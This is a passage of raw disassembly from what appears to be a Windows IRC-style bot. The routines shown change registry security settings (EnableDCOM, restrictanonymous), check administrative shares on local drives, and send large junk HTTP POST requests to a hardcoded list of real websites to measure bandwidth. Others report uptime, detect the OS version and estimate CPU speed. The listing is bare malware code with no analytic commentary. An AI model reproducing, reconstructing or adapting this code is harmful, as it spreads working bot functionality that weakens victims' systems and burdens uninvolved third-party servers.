		leave
		retn
sub_41AD95	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B0B9	proc near		; CODE XREF: sub_41AD35:loc_41AD7Cp

Dest		= byte ptr -220h
var_20		= dword	ptr -20h
var_14		= byte ptr -14h
Str		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 220h
		push	esi
		push	edi
		xor	edi, edi
		cmp	dword_4E42F0, edi
		jnz	loc_41B1E7
		lea	eax, [ebp+var_4]
		mov	esi, 80000002h
		push	eax
		push	2001Fh
		push	edi
		push	offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
		push	esi
		call	dword_4E4290	; RegOpenKeyExA
		test	eax, eax
		jnz	short loc_41B144
		mov	ax, word_4521D4
		mov	word ptr [ebp+Str+2], ax
		lea	eax, [ebp+Str+2]
		push	eax		; Str
		call	_strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+Str+2]
		push	eax
		push	1
		push	edi
		push	offset aEnabledcom_0 ; "EnableDCOM"
		push	[ebp+var_4]
		call	dword_4E4244	; RegSetValueExA
		test	eax, eax
		jz	short loc_41B126
		push	offset dword_4521E4
		jmp	short loc_41B12B
; ---------------------------------------------------------------------------

loc_41B126:				; CODE XREF: sub_41B0B9+64j
		push	offset asc_452208 ; "-"

loc_41B12B:				; CODE XREF: sub_41B0B9+6Bj
		lea	eax, [ebp+Dest]
		push	eax		; Dest
		call	_sprintf
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_4E41FC	; RegCloseKey
		jmp	short loc_41B157
; ---------------------------------------------------------------------------

loc_41B144:				; CODE XREF: sub_41B0B9+36j
		lea	eax, [ebp+Dest]
		push	offset asc_452224 ; "-"
		push	eax		; Dest
		call	_sprintf
		pop	ecx
		pop	ecx

loc_41B157:				; CODE XREF: sub_41B0B9+89j
		cmp	[ebp+arg_C], edi
		jnz	short loc_41B176
		push	1		; int
		lea	eax, [ebp+Dest]
		push	[ebp+arg_8]	; int
		push	eax		; int
		push	[ebp+arg_4]	; Str
		push	[ebp+arg_0]	; int
		call	sub_409D6C
		add	esp, 14h

loc_41B176:				; CODE XREF: sub_41B0B9+A1j
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_415C77
		pop	ecx
		lea	eax, [ebp+var_4]
		push	eax
		push	0F003Fh
		push	edi
		push	offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
		push	esi
		call	dword_4E4290	; RegOpenKeyExA
		test	eax, eax
		jnz	short loc_41B1E0
		lea	eax, [ebp+Str]
		push	4
		push	eax
		push	4
		push	edi
		push	offset aRestrictanon_0 ; "restrictanonymous"
		push	[ebp+var_4]
		mov	dword ptr [ebp+Str], edi
		call	dword_4E4244	; RegSetValueExA
		test	eax, eax
		jz	short loc_41B1C2
		push	offset dword_452268
		jmp	short loc_41B1C7
; ---------------------------------------------------------------------------

loc_41B1C2:				; CODE XREF: sub_41B0B9+100j
		push	offset asc_4522A8 ; "-"

loc_41B1C7:				; CODE XREF: sub_41B0B9+107j
		lea	eax, [ebp+Dest]
		push	eax		; Dest
		call	_sprintf
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_4E41FC	; RegCloseKey
		jmp	short loc_41B1FA
; ---------------------------------------------------------------------------

loc_41B1E0:				; CODE XREF: sub_41B0B9+E2j
		push	offset dword_4522E0
		jmp	short loc_41B1EC
; ---------------------------------------------------------------------------

loc_41B1E7:				; CODE XREF: sub_41B0B9+13j
		push	offset asc_45231C ; "-"

loc_41B1EC:				; CODE XREF: sub_41B0B9+12Cj
		lea	eax, [ebp+Dest]
		push	eax		; Dest
		call	_sprintf
		pop	ecx
		pop	ecx

loc_41B1FA:				; CODE XREF: sub_41B0B9+125j
		cmp	[ebp+arg_C], edi
		jnz	short loc_41B219
		push	1		; int
		lea	eax, [ebp+Dest]
		push	[ebp+arg_8]	; int
		push	eax		; int
		push	[ebp+arg_4]	; Str
		push	[ebp+arg_0]	; int
		call	sub_409D6C
		add	esp, 14h

loc_41B219:				; CODE XREF: sub_41B0B9+144j
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_415C77
		cmp	dword_4E4318, edi
		pop	ecx
		jnz	loc_41B38E
		mov	esi, offset off_451F28

loc_41B237:				; CODE XREF: sub_41B0B9+1E7j
		push	dword ptr [esi+4] ; int
		push	dword ptr [esi]	; Str
		push	edi		; int
		call	sub_419AC4
		add	esp, 0Ch
		push	dword ptr [esi]
		test	eax, eax
		jnz	short loc_41B252
		push	offset dword_45234C
		jmp	short loc_41B257
; ---------------------------------------------------------------------------

loc_41B252:				; CODE XREF: sub_41B0B9+190j
		push	offset asc_45236C ; "-"

loc_41B257:				; CODE XREF: sub_41B0B9+197j
		lea	eax, [ebp+Dest]
		push	200h		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 10h
		cmp	[ebp+arg_C], edi
		jnz	short loc_41B28A
		push	1		; int
		lea	eax, [ebp+Dest]
		push	[ebp+arg_8]	; int
		push	eax		; int
		push	[ebp+arg_4]	; Str
		push	[ebp+arg_0]	; int
		call	sub_409D6C
		add	esp, 14h

loc_41B28A:				; CODE XREF: sub_41B0B9+1B5j
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_415C77
		add	esi, 8
		pop	ecx
		cmp	esi, offset off_451F38
		jb	short loc_41B237
		push	ebx
		call	ds:dword_4F6498	; GetLogicalDrives
		mov	edi, eax
		mov	bl, 41h
		test	edi, edi
		jz	loc_41B376

loc_41B2B5:				; CODE XREF: sub_41B0B9+2B7j
		mov	eax, edi
		and	eax, 1
		cmp	al, 1
		jnz	loc_41B36C
		cmp	bl, 41h
		jz	loc_41B36C
		movsx	esi, bl
		push	esi
		push	offset aC_1	; "%c$"
		lea	eax, [ebp+var_14]
		push	0Ah		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 10h
		lea	eax, [ebp+var_20]
		push	esi
		push	offset aC_0	; "%c:\\"
		push	0Ah		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 10h
		lea	eax, [ebp+var_20]
		push	eax
		call	dword_4E4280	; GetDriveTypeA
		cmp	eax, 3
		jnz	short loc_41B36C
		lea	eax, [ebp+var_20]
		push	eax		; int
		lea	eax, [ebp+var_14]
		push	eax		; Str
		push	0		; int
		call	sub_419AC4
		add	esp, 0Ch
		test	eax, eax
		lea	eax, [ebp+var_14]
		push	eax
		jnz	short loc_41B326
		push	offset dword_4523A0
		jmp	short loc_41B32B
; ---------------------------------------------------------------------------

loc_41B326:				; CODE XREF: sub_41B0B9+264j
		push	offset asc_4523C0 ; "-"

loc_41B32B:				; CODE XREF: sub_41B0B9+26Bj
		lea	eax, [ebp+Dest]
		push	200h		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 10h
		cmp	[ebp+arg_C], 0
		jnz	short loc_41B35F
		push	1		; int
		lea	eax, [ebp+Dest]
		push	[ebp+arg_8]	; int
		push	eax		; int
		push	[ebp+arg_4]	; Str
		push	[ebp+arg_0]	; int
		call	sub_409D6C
		add	esp, 14h

loc_41B35F:				; CODE XREF: sub_41B0B9+28Aj
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_415C77
		pop	ecx

loc_41B36C:				; CODE XREF: sub_41B0B9+203j
					; sub_41B0B9+20Cj ...
		inc	bl
		shr	edi, 1
		jnz	loc_41B2B5

loc_41B376:				; CODE XREF: sub_41B0B9+1F6j
		lea	eax, [ebp+Dest]
		push	offset asc_4523E8 ; "-"
		push	eax		; Dest
		call	_sprintf
		pop	ecx
		xor	edi, edi
		pop	ecx
		pop	ebx
		jmp	short loc_41B3A1
; ---------------------------------------------------------------------------

loc_41B38E:				; CODE XREF: sub_41B0B9+173j
		lea	eax, [ebp+Dest]
		push	offset asc_45240C ; "-"
		push	eax		; Dest
		call	_sprintf
		pop	ecx
		pop	ecx

loc_41B3A1:				; CODE XREF: sub_41B0B9+2D3j
		cmp	[ebp+arg_C], edi
		jnz	short loc_41B3BF
		push	edi		; int
		lea	eax, [ebp+Dest]
		push	[ebp+arg_8]	; int
		push	eax		; int
		push	[ebp+arg_4]	; Str
		push	[ebp+arg_0]	; int
		call	sub_409D6C
		add	esp, 14h

loc_41B3BF:				; CODE XREF: sub_41B0B9+2EBj
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_415C77
		pop	ecx
		push	1
		pop	eax
		pop	edi
		pop	esi
		leave
		retn
sub_41B0B9	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B3D3	proc near		; CODE XREF: sub_41B5CA+CBp
					; sub_41B5CA+DDp ...

arg_0		= dword	ptr  4

		call	ds:dword_4F63B0	; GetTickCount
		push	eax		; Seed
		call	_srand
		pop	ecx
		call	_rand
		cdq
		idiv	[esp+arg_0]
		mov	eax, edx
		retn
sub_41B3D3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_41B3ED(char *Str)

sub_41B3ED	proc near		; CODE XREF: sub_41B5CA+D4p
					; sub_41B5CA+E6p ...

var_38		= dword	ptr -38h
Dst		= word ptr -28h
var_26		= word ptr -26h
var_24		= dword	ptr -24h
var_18		= qword	ptr -18h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
Memory		= dword	ptr -8
var_4		= dword	ptr -4
Str		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 28h
		push	ebx
		push	esi
		push	edi
		push	[ebp+Str]	; Str
		call	_strlen
		mov	esi, 0FFh
		pop	ecx
		cmp	eax, esi
		ja	loc_41B5C6
		push	10h		; Size
		lea	eax, [ebp+Dst]
		push	0		; Val
		push	eax		; Dst
		call	_memset
		push	[ebp+Str]
		mov	[ebp+Dst], 2
		call	sub_40AE8D
		add	esp, 10h
		mov	[ebp+var_24], eax
		test	eax, eax
		jz	loc_41B5C6
		push	50h
		call	dword_4E4220	; htons
		push	6
		push	1
		push	2
		mov	[ebp+var_26], ax
		call	dword_4E42A0	; socket
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jz	loc_41B5C6
		lea	ecx, [ebp+Dst]
		push	10h
		push	ecx
		push	eax
		call	dword_4E41C8	; connect
		cmp	eax, 0FFFFFFFFh
		jz	loc_41B5C6
		push	32003h		; unsigned int
		call	??2@YAPAXI@Z	; operator new(uint)
		mov	edi, ds:dword_4F63B0
		mov	ebx, eax
		pop	ecx
		mov	[ebp+Memory], ebx
		call	edi	; GetTickCount
		push	eax		; Seed
		call	_srand
		call	_rand
		cdq
		idiv	esi
		mov	[esp+38h+var_38], 32001h
		push	0		; Val
		push	ebx		; Dst
		movsx	esi, dl
		call	_memset
		push	32000h		; Size
		push	esi		; Val
		push	ebx		; Dst
		call	_memset
		push	ebx		; Str
		call	_strlen
		push	323EAh		; unsigned int
		mov	ebx, eax
		call	??2@YAPAXI@Z	; operator new(uint)
		add	esp, 20h
		mov	esi, eax
		push	ebx
		push	[ebp+Str]
		push	offset aPostHttp1_0Hos ; "POST / HTTP/1.0\r\nHost: %s\r\nContent-Leng"...
		push	esi		; Dest
		call	_sprintf
		push	[ebp+Memory]	; Source
		push	esi		; Dest
		call	_strcat
		push	offset asc_452470 ; "\r\n"
		push	esi		; Dest
		call	_strcat
		push	esi		; Str
		call	_strlen
		mov	ebx, eax
		add	esp, 24h
		mov	[ebp+var_10], ebx
		call	edi	; GetTickCount
		mov	dword ptr [ebp+var_18+4], eax
		xor	eax, eax
		test	ebx, ebx
		mov	[ebp+Str], eax
		jbe	short loc_41B546
		mov	[ebp+var_C], ebx
		mov	ebx, 400h
		jmp	short loc_41B516
; ---------------------------------------------------------------------------

loc_41B513:				; CODE XREF: sub_41B3ED+157j
		mov	eax, [ebp+Str]

loc_41B516:				; CODE XREF: sub_41B3ED+124j
		mov	ecx, [ebp+var_10]
		push	0
		sub	ecx, eax
		cmp	ecx, ebx
		jnb	short loc_41B526
		push	[ebp+var_C]
		jmp	short loc_41B527
; ---------------------------------------------------------------------------

loc_41B526:				; CODE XREF: sub_41B3ED+132j
		push	ebx

loc_41B527:				; CODE XREF: sub_41B3ED+137j
		add	eax, esi
		push	eax
		push	[ebp+var_4]
		call	dword_4E4270	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41B5AD
		add	[ebp+Str], ebx
		sub	[ebp+var_C], ebx
		mov	eax, [ebp+Str]
		cmp	eax, [ebp+var_10]
		jb	short loc_41B513

loc_41B546:				; CODE XREF: sub_41B3ED+11Aj
		call	edi	; GetTickCount
		sub	eax, dword ptr [ebp+var_18+4]
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		fild	[ebp+var_18]
		fmul	ds:flt_43D4EC
		fst	[ebp+Str]
		fcomp	ds:flt_43D4E8
		fnstsw	ax
		sahf
		jnz	short loc_41B56E
		fld1
		fstp	[ebp+Str]

loc_41B56E:				; CODE XREF: sub_41B3ED+17Aj
		push	[ebp+var_4]
		call	dword_4E42B8	; closesocket
		push	[ebp+Memory]	; Memory
		call	_free
		push	esi		; Memory
		call	_free
		mov	eax, [ebp+var_10]
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		pop	ecx
		fild	[ebp+var_18]
		pop	ecx
		fdiv	[ebp+Str]
		fmul	ds:flt_43D4E4
		fmul	ds:flt_43D4E0
		call	__ftol

loc_41B5A8:				; CODE XREF: sub_41B3ED+1DBj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_41B5AD:				; CODE XREF: sub_41B3ED+149j
		push	[ebp+var_4]
		call	dword_4E42B8	; closesocket
		push	[ebp+Memory]	; Memory
		call	_free
		push	esi		; Memory
		call	_free
		pop	ecx
		pop	ecx

loc_41B5C6:				; CODE XREF: sub_41B3ED+19j
					; sub_41B3ED+42j ...
		xor	eax, eax
		jmp	short loc_41B5A8
sub_41B3ED	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_41B5CA(int,char *Str,int)

sub_41B5CA	proc near		; CODE XREF: sub_401CC7+2E6Ap

Dest		= byte ptr -26Ch
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
Str		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 26Ch
		push	ebx
		push	esi
		push	edi
		push	8
		mov	[ebp+var_4], 3
		mov	[ebp+var_3C], offset aWww_schlund_ne ; "www.schlund.net"
		mov	[ebp+var_38], offset aWww_utwente_nl ; "www.utwente.nl"
		mov	[ebp+var_34], offset aVerio_fr ; "verio.fr"
		mov	[ebp+var_30], offset aWww_1und1_de ; "www.1und1.de"
		mov	[ebp+var_2C], offset aWww_switch_ch ; "www.switch.ch"
		mov	[ebp+var_28], offset aWww_belwue_de ; "www.belwue.de"
		mov	[ebp+var_24], offset aDe_yahoo_com ; "de.yahoo.com"
		mov	[ebp+var_20], offset aWww_google_it ; "www.google.it"
		mov	[ebp+var_6C], offset aWww_xo_net ; "www.xo.net"
		mov	[ebp+var_68], offset aWww_stanford_e ; "www.stanford.edu"
		mov	[ebp+var_64], offset aWww_verio_com ; "www.verio.com"
		mov	[ebp+var_60], offset aWww_nocster_co ; "www.nocster.com"
		mov	[ebp+var_5C], offset aWww_rit_edu ; "www.rit.edu"
		mov	[ebp+var_58], offset aWww_cogentco_c ; "www.cogentco.com"
		mov	[ebp+var_54], offset aWww_burst_net ; "www.burst.net"
		mov	[ebp+var_50], offset aNitro_ucsc_edu ; "nitro.ucsc.edu"
		mov	[ebp+var_4C], offset aWww_level3_com ; "www.level3.com"
		mov	[ebp+var_48], offset aWww_above_net ; "www.above.net"
		mov	[ebp+var_44], offset aWww_easynews_c ; "www.easynews.com"
		mov	[ebp+var_40], offset aWww_google_com ; "www.google.com"
		mov	[ebp+var_1C], offset aWww_lib_nthu_e ; "www.lib.nthu.edu.tw"
		mov	[ebp+var_18], offset aWww_st_lib_kei ; "www.st.lib.keio.ac.jp"
		mov	[ebp+var_14], offset aWww_d1asia_com ; "www.d1asia.com"
		mov	[ebp+var_10], offset aWww_nifty_com ; "www.nifty.com"
		mov	[ebp+var_C], offset aYahoo_co_jp ; "yahoo.co.jp"
		mov	[ebp+var_8], offset aWww_google_co_ ; "www.google.co.jp"
		call	sub_41B3D3
		push	[ebp+eax*4+var_3C] ; Str
		call	sub_41B3ED
		push	8
		mov	esi, eax
		call	sub_41B3D3
		push	[ebp+eax*4+var_3C] ; Str
		call	sub_41B3ED
		add	esp, 10h
		test	esi, esi
		jz	short loc_41B6CB
		test	eax, eax
		jz	short loc_41B6C7
		lea	ebx, [eax+esi]
		shr	ebx, 1
		jmp	short loc_41B6CD
; ---------------------------------------------------------------------------

loc_41B6C7:				; CODE XREF: sub_41B5CA+F4j
		mov	ebx, esi
		jmp	short loc_41B6CD
; ---------------------------------------------------------------------------

loc_41B6CB:				; CODE XREF: sub_41B5CA+F0j
		mov	ebx, eax

loc_41B6CD:				; CODE XREF: sub_41B5CA+FBj
					; sub_41B5CA+FFj
		push	0Ch
		call	sub_41B3D3
		push	[ebp+eax*4+var_6C] ; Str
		call	sub_41B3ED
		push	0Ch
		mov	edi, eax
		call	sub_41B3D3
		push	[ebp+eax*4+var_6C] ; Str
		call	sub_41B3ED
		add	esp, 10h
		test	edi, edi
		jz	short loc_41B705
		test	eax, eax
		jz	short loc_41B701
		lea	esi, [eax+edi]
		shr	esi, 1
		jmp	short loc_41B707
; ---------------------------------------------------------------------------

loc_41B701:				; CODE XREF: sub_41B5CA+12Ej
		mov	esi, edi
		jmp	short loc_41B707
; ---------------------------------------------------------------------------

loc_41B705:				; CODE XREF: sub_41B5CA+12Aj
		mov	esi, eax

loc_41B707:				; CODE XREF: sub_41B5CA+135j
					; sub_41B5CA+139j
		push	6
		call	sub_41B3D3
		push	[ebp+eax*4+var_1C] ; Str
		call	sub_41B3ED
		push	6
		mov	edi, eax
		call	sub_41B3D3
		push	[ebp+eax*4+var_1C] ; Str
		call	sub_41B3ED
		add	esp, 10h
		test	edi, edi
		jz	short loc_41B73F
		test	eax, eax
		jz	short loc_41B73B
		lea	ecx, [eax+edi]
		shr	ecx, 1
		jmp	short loc_41B741
; ---------------------------------------------------------------------------

loc_41B73B:				; CODE XREF: sub_41B5CA+168j
		mov	ecx, edi
		jmp	short loc_41B741
; ---------------------------------------------------------------------------

loc_41B73F:				; CODE XREF: sub_41B5CA+164j
		mov	ecx, eax

loc_41B741:				; CODE XREF: sub_41B5CA+16Fj
					; sub_41B5CA+173j
		xor	eax, eax
		test	ebx, ebx
		jz	short loc_41B74E
		mov	edi, [ebp+var_4]
		mov	eax, ebx
		jmp	short loc_41B751
; ---------------------------------------------------------------------------

loc_41B74E:				; CODE XREF: sub_41B5CA+17Bj
		push	2
		pop	edi

loc_41B751:				; CODE XREF: sub_41B5CA+182j
		test	esi, esi
		jz	short loc_41B759
		add	eax, esi
		jmp	short loc_41B75A
; ---------------------------------------------------------------------------

loc_41B759:				; CODE XREF: sub_41B5CA+189j
		dec	edi

loc_41B75A:				; CODE XREF: sub_41B5CA+18Dj
		test	ecx, ecx
		jz	short loc_41B762
		add	eax, ecx
		jmp	short loc_41B763
; ---------------------------------------------------------------------------

loc_41B762:				; CODE XREF: sub_41B5CA+192j
		dec	edi

loc_41B763:				; CODE XREF: sub_41B5CA+196j
		xor	edx, edx
		div	edi
		push	eax
		push	ecx
		push	esi
		push	ebx
		lea	eax, [ebp+Dest]
		push	offset asc_452620 ; "-"
		push	eax		; Dest
		call	_sprintf
		push	0		; int
		lea	eax, [ebp+Dest]
		push	[ebp+arg_8]	; int
		push	eax		; int
		push	[ebp+Str]	; Str
		push	[ebp+arg_0]	; int
		call	sub_409D6C
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_415C77
		add	esp, 30h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41B5CA	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B7A7	proc near		; CODE XREF: sub_401CC7+2595p
					; sub_401CC7+2A05p ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		call	ds:dword_4F63B0	; GetTickCount
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	ebx, 15180h
		xor	edx, edx
		mov	esi, ebx
		mov	edi, 0E10h
		mov	ebp, edi
		push	3Ch
		mov	ecx, eax
		sub	ecx, [esp+14h+arg_0]
		mov	eax, ecx
		div	esi
		mov	esi, edx
		xor	edx, edx
		mov	eax, esi
		div	ebp
		pop	ebp
		mov	eax, edx
		xor	edx, edx
		div	ebp
		xor	edx, edx
		push	eax
		mov	eax, esi
		div	edi
		xor	edx, edx
		mov	esi, offset byte_4F45E0
		push	eax
		mov	eax, ecx
		div	ebx
		push	eax
		push	offset aDdDhDm	; "%dd %dh %dm"
		push	32h		; Count
		push	esi		; Dest
		call	__snprintf
		add	esp, 18h
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41B7A7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B810	proc near		; CODE XREF: sub_417AC3+24p

var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_84		= dword	ptr -84h

		push	ebp
		mov	ebp, esp
		sub	esp, 94h
		lea	eax, [ebp+var_94]
		push	esi
		push	eax
		xor	esi, esi
		mov	[ebp+var_94], 94h
		call	ds:dword_4F63D0	; GetVersionExA
		test	eax, eax
		jz	short loc_41B8A3
		cmp	[ebp+var_90], 4
		jnz	short loc_41B879
		cmp	[ebp+var_8C], esi
		jnz	short loc_41B861
		cmp	[ebp+var_84], 1
		jnz	short loc_41B854
		push	1
		pop	esi

loc_41B854:				; CODE XREF: sub_41B810+3Fj
		cmp	[ebp+var_84], 2
		jnz	short loc_41B8A3
		push	1
		jmp	short loc_41B8A2
; ---------------------------------------------------------------------------

loc_41B861:				; CODE XREF: sub_41B810+36j
		cmp	[ebp+var_8C], 0Ah
		jnz	short loc_41B86E

loc_41B86A:				; CODE XREF: sub_41B810+78j
		push	2
		jmp	short loc_41B8A2
; ---------------------------------------------------------------------------

loc_41B86E:				; CODE XREF: sub_41B810+58j
		cmp	[ebp+var_8C], 5Ah
		jnz	short loc_41B8A3
		jmp	short loc_41B893
; ---------------------------------------------------------------------------

loc_41B879:				; CODE XREF: sub_41B810+2Ej
		cmp	[ebp+var_90], 5
		jnz	short loc_41B8A3
		cmp	[ebp+var_8C], esi
		jz	short loc_41B86A
		cmp	[ebp+var_8C], 1
		jnz	short loc_41B897

loc_41B893:				; CODE XREF: sub_41B810+67j
		push	3
		jmp	short loc_41B8A2
; ---------------------------------------------------------------------------

loc_41B897:				; CODE XREF: sub_41B810+81j
		cmp	[ebp+var_8C], 2
		jnz	short loc_41B8A3
		push	7

loc_41B8A2:				; CODE XREF: sub_41B810+4Fj
					; sub_41B810+5Cj ...
		pop	esi

loc_41B8A3:				; CODE XREF: sub_41B810+25j
					; sub_41B810+4Bj ...
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41B810	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B8A8	proc near		; CODE XREF: sub_41B964+290p
		push	ebx
		push	esi
		push	edi
		mov	esi, 0F4240h

loc_41B8B0:				; CODE XREF: sub_41B8A8+35j
					; sub_41B8A8+3Bj
		call	sub_41BCDA
		push	3E8h
		mov	edi, eax
		mov	ebx, edx
		call	ds:dword_4F6380	; Sleep
		call	sub_41BCDA
		sub	eax, edi
		push	0
		sbb	edx, ebx
		push	esi
		push	edx
		push	eax
		call	__aulldiv
		mov	edi, edx
		mov	ebx, eax
		test	edi, edi
		ja	short loc_41B8B0
		jb	short loc_41B8E5
		cmp	ebx, esi
		ja	short loc_41B8B0

loc_41B8E5:				; CODE XREF: sub_41B8A8+37j
		push	0
		push	64h
		push	edi
		push	ebx
		call	__aullrem
		mov	ecx, edx
		push	64h
		xor	edx, edx
		mov	esi, eax
		test	ecx, ecx
		pop	eax
		ja	short loc_41B958
		jb	short loc_41B904
		cmp	esi, 50h
		jnb	short loc_41B909

loc_41B904:				; CODE XREF: sub_41B8A8+55j
		push	4Bh
		xor	edx, edx
		pop	eax

loc_41B909:				; CODE XREF: sub_41B8A8+5Aj
		test	ecx, ecx
		ja	short loc_41B958
		jb	short loc_41B914
		cmp	esi, 47h
		jnb	short loc_41B919

loc_41B914:				; CODE XREF: sub_41B8A8+65j
		push	42h
		xor	edx, edx
		pop	eax

loc_41B919:				; CODE XREF: sub_41B8A8+6Aj
		test	ecx, ecx
		ja	short loc_41B958
		jb	short loc_41B924
		cmp	esi, 37h
		jnb	short loc_41B929

loc_41B924:				; CODE XREF: sub_41B8A8+75j
		push	32h
		xor	edx, edx
		pop	eax

loc_41B929:				; CODE XREF: sub_41B8A8+7Aj
		test	ecx, ecx
		ja	short loc_41B958
		jb	short loc_41B934
		cmp	esi, 26h
		jnb	short loc_41B939

loc_41B934:				; CODE XREF: sub_41B8A8+85j
		push	21h
		xor	edx, edx
		pop	eax

loc_41B939:				; CODE XREF: sub_41B8A8+8Aj
		test	ecx, ecx
		ja	short loc_41B958
		jb	short loc_41B944
		cmp	esi, 1Eh
		jnb	short loc_41B949

loc_41B944:				; CODE XREF: sub_41B8A8+95j
		push	19h
		xor	edx, edx
		pop	eax

loc_41B949:				; CODE XREF: sub_41B8A8+9Aj
		test	ecx, ecx
		ja	short loc_41B958
		jb	short loc_41B954
		cmp	esi, 0Ah
		jnb	short loc_41B958

loc_41B954:				; CODE XREF: sub_41B8A8+A5j
		xor	eax, eax
		xor	edx, edx

loc_41B958:				; CODE XREF: sub_41B8A8+53j
					; sub_41B8A8+63j ...
		sub	eax, esi
		sbb	edx, ecx
		add	eax, ebx
		adc	edx, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41B8A8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B964	proc near		; CODE XREF: sub_401CC7+2760p

var_7E8		= byte ptr -7E8h
var_668		= byte ptr -668h
var_5E8		= byte ptr -5E8h
var_568		= byte ptr -568h
FullPath	= byte ptr -4E8h
var_3E4		= byte ptr -3E4h
Dest		= byte ptr -2E8h
var_25C		= word ptr -25Ch
var_25A		= byte ptr -25Ah
var_15C		= byte ptr -15Ch
var_114		= byte ptr -114h
var_CC		= dword	ptr -0CCh
var_C8		= dword	ptr -0C8h
var_C4		= dword	ptr -0C4h
var_C0		= dword	ptr -0C0h
var_BC		= dword	ptr -0BCh
var_B8		= byte ptr -0B8h
Dst		= byte ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
Drive		= byte ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 7E8h
		push	ebx
		push	esi
		lea	eax, [ebp+var_CC]
		push	edi
		push	eax
		mov	[ebp+var_4], offset dword_4F4618
		mov	[ebp+var_CC], 94h
		call	ds:dword_4F63D0	; GetVersionExA
		xor	ebx, ebx
		cmp	[ebp+var_C8], 4
		jnz	short loc_41B9EB
		cmp	[ebp+var_C4], ebx
		jnz	short loc_41B9C7
		cmp	[ebp+var_BC], 1
		jnz	short loc_41B9B1
		mov	[ebp+var_4], offset a95_0 ; "95"

loc_41B9B1:				; CODE XREF: sub_41B964+44j
		cmp	[ebp+var_BC], 2
		jnz	loc_41BA66
		mov	[ebp+var_4], offset aNt_0 ; "NT"
		jmp	short loc_41BA37
; ---------------------------------------------------------------------------

loc_41B9C7:				; CODE XREF: sub_41B964+3Bj
		cmp	[ebp+var_C4], 0Ah
		jnz	short loc_41B9D9
		mov	[ebp+var_4], offset a98_0 ; "98"
		jmp	short loc_41BA2E
; ---------------------------------------------------------------------------

loc_41B9D9:				; CODE XREF: sub_41B964+6Aj
		cmp	[ebp+var_C4], 5Ah
		jnz	short loc_41BA27
		mov	[ebp+var_4], offset aMe_1 ; "ME"
		jmp	short loc_41BA2E
; ---------------------------------------------------------------------------

loc_41B9EB:				; CODE XREF: sub_41B964+33j
		cmp	[ebp+var_C8], 5
		jnz	short loc_41BA27
		cmp	[ebp+var_C4], ebx
		jnz	short loc_41BA05
		mov	[ebp+var_4], offset a2k_0 ; "2K"
		jmp	short loc_41BA2E
; ---------------------------------------------------------------------------

loc_41BA05:				; CODE XREF: sub_41B964+96j
		cmp	[ebp+var_C4], 1
		jnz	short loc_41BA17
		mov	[ebp+var_4], offset aXp_0 ; "XP"
		jmp	short loc_41BA2E
; ---------------------------------------------------------------------------

loc_41BA17:				; CODE XREF: sub_41B964+A8j
		cmp	[ebp+var_C4], 2
		mov	[ebp+var_4], offset a2003 ; "2003"
